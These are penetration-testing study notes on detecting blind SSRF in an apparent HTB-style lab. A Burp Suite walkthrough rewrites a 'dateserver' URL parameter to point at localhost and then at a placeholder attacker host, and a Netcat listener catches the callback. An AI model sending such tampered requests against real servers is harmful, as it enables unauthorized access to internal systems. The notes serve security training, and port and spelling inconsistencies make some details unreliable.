BLIND SSRF

in a blind SSRF, the response does not contain the HTML response of the coerced request. the response will sometimes show an error. to verify whether there is really an SSRF vulnerability, re-run the coerced request and catch the response with Netcat.

root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 input field: submit the expected user input
 
BURP > Proxy > Intercept > Raw
 Request
  ...
  POST /index.php HTTP/1.1
  content-type: application/x-www-form-urlencoded
  dateserver=http://dateserver.htb/availability.php&date=2024-01-01

BURP > Proxy > Intercept > Raw > right-click > Send to Repeater
 Request
  ...
  POST /index.php HTTP/1.1
  content-type: application/x-www-form-urlencoded
  dateserver=http://127.0.0.1/index.php&date=2024-01-02
   - SSRF can be validated if the URL can be changed to point to another URL;
     if the response reports no error, then there is an SSRF vulnerability
      - changing the default URL in the dateserver parameter to http://127.0.0.1/index.php
        will test whether the web application responds w/o error
      - this method also tests whether the SSRF vulnerability is blind or something else
 Response
  ...
  Date is unavailable. Choose a different date!
  
#verifying blind SSRF with Nectcat
root@oco:~$ nc -nlvp 8080

root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 input field: submit the expected user input
 
BURP > Proxy > Intercept > Raw
 Request
  ...
  POST /index.php HTTP/1.1
  content-type: application/x-www-form-urlencoded
  dateserver=http://dateserver.htb/availability.php&date=2024-01-01

BURP > Proxy > Intercept > Raw > right-click > Send to Repeater
 Request
  ...
  POST /index.php HTTP/1.1
  content-type: application/x-www-form-urlencoded
  dateserver=http://{attackerIP:port}&date=2024-01-02
   - SSRF can be validated if the URL can be changed to point to another URL;
     if the response reports no error, then there is an SSRF vulnerability
      - changing the default URL in the dateserver parameter to http://127.0.0.1/index.php
        will test whether the web application responds w/o error
      - this method also tests whether the SSRF vulnerability is blind or something else

root@oco:~$ ...Netcat connection  
 connect to {attackerIP} from (UNKNOWN) [172.17.0.2] 32928
 GET /index.php HTTP/1.1
 Host: 172.17.0.1:8000
 Accept: */*

EXPLOITATION

exploiting blind SSRF depends on the web application's behavior and response.

Previous01.DISCOVERYNextENUMERATION

Last updated